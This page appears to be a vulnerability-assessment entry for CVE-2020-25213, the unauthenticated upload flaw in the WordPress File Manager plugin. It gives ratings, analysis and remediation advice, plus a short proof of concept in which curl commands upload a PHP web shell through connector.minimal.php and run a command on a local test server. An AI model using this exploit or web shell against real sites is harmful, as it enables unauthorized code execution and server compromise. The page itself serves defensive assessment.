wvu-r7's assessment of CVE-2020-25213

Description

The File Manager (wp-file-manager) plugin before 6.9 for WordPress allows remote attackers to upload and execute arbitrary PHP code because it renames an unsafe example elFinder connector file to have the .php extension. This, for example, allows attackers to run the elFinder upload (or mkfile and put) command to write PHP code into the wp-content/plugins/wp-file-manager/lib/files/ directory. This was exploited in the wild in August and September 2020.

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space-r7 (143)

November 10, 2020 3:10pm UTC (4 years ago)•Edited 4 years ago

Ratings

Attacker Value

Very High

Exploitability

Very High

Easy to weaponize Unauthenticated Vulnerable in default configuration

Technical Analysis

Rating this as very high as this is a widespread Wordpress plugin, and the vulnerability is easily exploitable. The vulnerability is due to an example file, lib/php/connector.minimal.php, being left over in installations of the plugin. The file enables unauthenticated execution of select commands including an upload command that allows for file upload which can lead to code execution on the server.

Note that disabling the plugin in Wordpress does not fix the vulnerability. The plugin should either be removed or updated to the patched version, which is v6.9.

wvu-r7 (437)

September 29, 2020 8:28pm UTC (4 years ago)•

Ratings

Attacker Value

Very High

Exploitability

Very High

Easy to weaponize Unauthenticated Vulnerable in default configuration

Technical Analysis

Confirming I was able to reproduce this vuln when it became known.

ETA PoC:

wvu@kharak:~$ curl -s http://127.0.0.1:8080/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php -F cmd=upload -F target=l1_ -F "upload[]=@-; filename=x.php" <<<'<?php passthru($_REQUEST["c"]); ?>' | jq
{
  "added": [
    {
      "isowner": false,
      "ts": 1599193366,
      "mime": "text/x-php",
      "read": 1,
      "write": 1,
      "size": "35",
      "hash": "l1_eC5waHA",
      "name": "x.php",
      "phash": "l1_Lw",
      "url": "/wp-content/plugins/wp-file-manager/lib/php/../files/x.php"
    }
  ],
  "removed": [],
  "changed": [
    {
      "isowner": false,
      "ts": 1599193366,
      "mime": "directory",
      "read": 1,
      "write": 1,
      "size": 0,
      "hash": "l1_Lw",
      "name": "files",
      "phash": "l1_L3Zhci93d3cvaHRtbC93cC1jb250ZW50L3BsdWdpbnMvd3AtZmlsZS1tYW5hZ2VyL2xpYg",
      "volumeid": "l1_",
      "locked": 1
    }
  ]
}
wvu@kharak:~$ curl http://127.0.0.1:8080/wp-content/plugins/wp-file-manager/lib/files/x.php -d c=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
wvu@kharak:~$